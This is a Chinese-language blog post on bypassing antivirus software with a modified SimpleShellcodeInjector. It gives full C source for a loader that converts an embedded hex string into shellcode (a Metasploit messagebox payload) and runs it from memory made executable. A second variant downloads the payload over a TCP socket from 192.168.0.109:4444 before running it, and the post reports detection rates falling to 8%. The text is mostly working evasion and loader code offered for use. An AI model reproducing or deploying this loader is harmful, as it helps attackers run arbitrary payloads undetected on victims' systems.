基于HEX字符串执行的AV绕过
hex-strings-execute
我们采用@DimopoulosElia的 SimpleShellcodeInject项目进行一些自定义改造，核心代码如下。
for(unsigned int i = 0; i< iterations-1; i++) {//读入HEX字符串转换成shellcodesscanf(shellcode+2*i, "%2X", &char_in_hex);shellcode[i] = (char)char_in_hex;}
由于该项目采用命令行传参，在实际使用过程中可能不太方便，我们对其进行一个内嵌HEX字符串的操作。
// windows/messagebox - 272 bytes// https://metasploit.com/// VERBOSE=false, PrependMigrate=false, EXITFUNC=process,// TITLE=MessageBox, TEXT=Hello, from MSF!, ICON=NOd9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e36858202020684d53462168726f6d20686f2c20666848656c6c31c9884c241089e131d252535152ffd031c050ff5508
SimpleShellcodeInjector.c#include <stdio.h>#include <Windows.h>char shellcode[] = "d9eb9bd97424f431d2b27731c9648b71308b760c8b761c8b46088b7e208b36384f1875f35901d1ffe1608b6c24248b453c8b54287801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3b20829d489e589c2688e4e0eec52e89fffffff894504bb7ed8e273871c2452e88effffff894508686c6c20416833322e64687573657230db885c240a89e656ff550489c250bba8a24dbc871c2452e85fffffff686f7858206861676542684d65737331db885c240a89e36858202020684d53462168726f6d20686f2c20666848656c6c31c9884c241089e131d252535152ffd031c050ff5508";int main(int argc, char* argv[]) {unsigned int char_in_hex;// char* shellcode = argv[1];//从参数读取HEX字符串unsigned int iterations = strlen(shellcode);unsigned int memory_allocation = strlen(shellcode) / 2;VirtualProtect(shellcode, memory_allocation, PAGE_READWRITE, 0);//由于字符串编译后默认写入不可写的PE段，所以需要修改内存属性for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);shellcode[i] = (char)char_in_hex;}void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);memcpy(exec, shellcode, memory_allocation);DWORD ignore;VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);(*(void (*)()) exec)();return 0;}
未加密payload检出率:12%
由于内嵌payload，可能会被部分杀软标记特征码，这里给这个开源项目加入网络传递payload功能，代码如下。
#include <Windows.h>DWORD RecvData(char** DataBuffer);
#include <stdio.h>#include <Windows.h>#include "sockets.h"int main(int argc, char* argv[]) {unsigned int char_in_hex;LPSTR shellcode = NULL;// char* shellcode = argv[1];//从参数读取HEX字符串unsigned int iterations = RecvData(&shellcode);unsigned int memory_allocation = iterations / 2;for (unsigned int i = 0; i < iterations / 2; i++) { //减小开销sscanf_s(shellcode + 2 * i, "%2X", &char_in_hex);shellcode[i] = (char)char_in_hex;}void* exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);memcpy(exec, shellcode, memory_allocation);DWORD ignore;VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);(*(void (*)()) exec)();return 0;}
#include <WinSock2.h>#include <WS2tcpip.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")#pragma warning(disable : 4996)DWORD RecvData(char** DataBuffer) {WSADATA wsaData;WSAStartup(MAKEWORD(2, 2), &wsaData);SOCKET ConnectSocket;ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);sockaddr_in clientService;clientService.sin_family = AF_INET;clientService.sin_addr.s_addr = inet_addr("192.168.0.109");clientService.sin_port = htons(4444);int iResult = 0;INT OnceRecvBytes = 0;INT RecvBytes = 0;struct timeval timeout = { 3,0 };int ret = setsockopt(ConnectSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));char* bufferReceivedBytes = new char[2000000];do{iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));Sleep(5);} while (iResult == SOCKET_ERROR);RecvBytes = recv(ConnectSocket, bufferReceivedBytes, 4096, NULL);iResult = closesocket(ConnectSocket);*DataBuffer = bufferReceivedBytes;return RecvBytes;};
分离免杀检出率:8%
github:https://github.com/idiotc4t/ssi
最近更新 1 year ago